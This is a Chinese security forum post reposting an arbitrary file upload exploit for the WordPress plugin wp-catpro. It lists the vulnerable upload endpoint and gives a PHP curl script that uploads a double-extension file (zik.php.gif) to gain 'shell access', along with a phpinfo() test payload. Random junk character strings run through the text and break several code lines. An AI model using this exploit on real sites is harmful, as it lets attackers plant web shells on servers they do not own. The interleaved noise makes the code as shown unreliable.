找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
; Y4 B; I, C3 D: X#-----------------------------------------------------------------------
- a1 c! X. I6 Q+ `; L4 i/ G
1 E3 I2 v& s5 |; N作者  => Zikou-168 P# Y: |& g7 [8 k
邮箱 => [email protected]
: T- ?+ p6 i* p( l测试系统 : Windows 7 , Backtrack 5r31 R5 v2 ~, Q7 F. [* p# }4 w
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip1 L! Z6 A5 ~: G( ~
####& e- I, N9 W1 C
' N7 H' L" v' k4 X: y* |; y
#=> Exploit 信息:
0 t. j& q1 q, v6 i4 Z9 ?------------------
) Z+ W. l# M+ Y, q  D5 M# 攻击者可以上传 file/shell.php.gif
* J. Q3 Q3 n2 g! ^6 P9 I5 V# ("jpg", "gif", "png")  // Allowed file extensions/ l0 U* K3 A# f( ?1 p- b
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
2 @1 f3 x$ W! t* P" M9 E# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
  q  g9 l  o" }; H------------------
# ]* {& n# V4 l* x% J' o
! H8 `* ^3 e' R* F#=> Exploit% Z, l4 L9 h( K, G# ^- @
-----------
. @' s% q1 O% s+ L0 `: c<?php$ w3 b9 e& W  e% ?

8 x! h! e7 k! V+ I- `& A$uploadfile="zik.php.gif";
0 ?0 h3 b& ?' |" q$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
5 M( g' g; ?. o1 X4 \curl_setopt($ch, CURLOPT_POST, true);
4 x. j* f* {7 I/ y7 q- qcurl_setopt($ch, CURLOPT_POSTFIELDS,
( Q6 e# ]3 Z1 s* O( g) L8 k* ^array('Filedata'=>"@$uploadfile",) J7 }! h6 J' z' ^- ^! H1 r
'folder'=>'/wp-content/uploads/catpro/'));: [  c! q+ t! y, y$ j& `3 U
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);2 X# W: g- _; K. t- }! F
$postResult = curl_exec($ch);
4 B" d8 d8 o- y8 @: Hcurl_close($ch);
3 ~1 L4 V4 W1 M. Z+ { 8 M: u9 a& _5 ?1 ~
print "$postResult";
& a5 R; ~& ^' S1 ]
2 Q+ K4 q! E5 I$ i6 X  YShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
9 h1 B6 ~" \" X  ?>
; b6 x% V' U& k' m4 j# m<?php
9 s9 f$ ]- |  E; ]1 Tphpinfo();: H9 P& C0 e1 r% H1 J  B
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表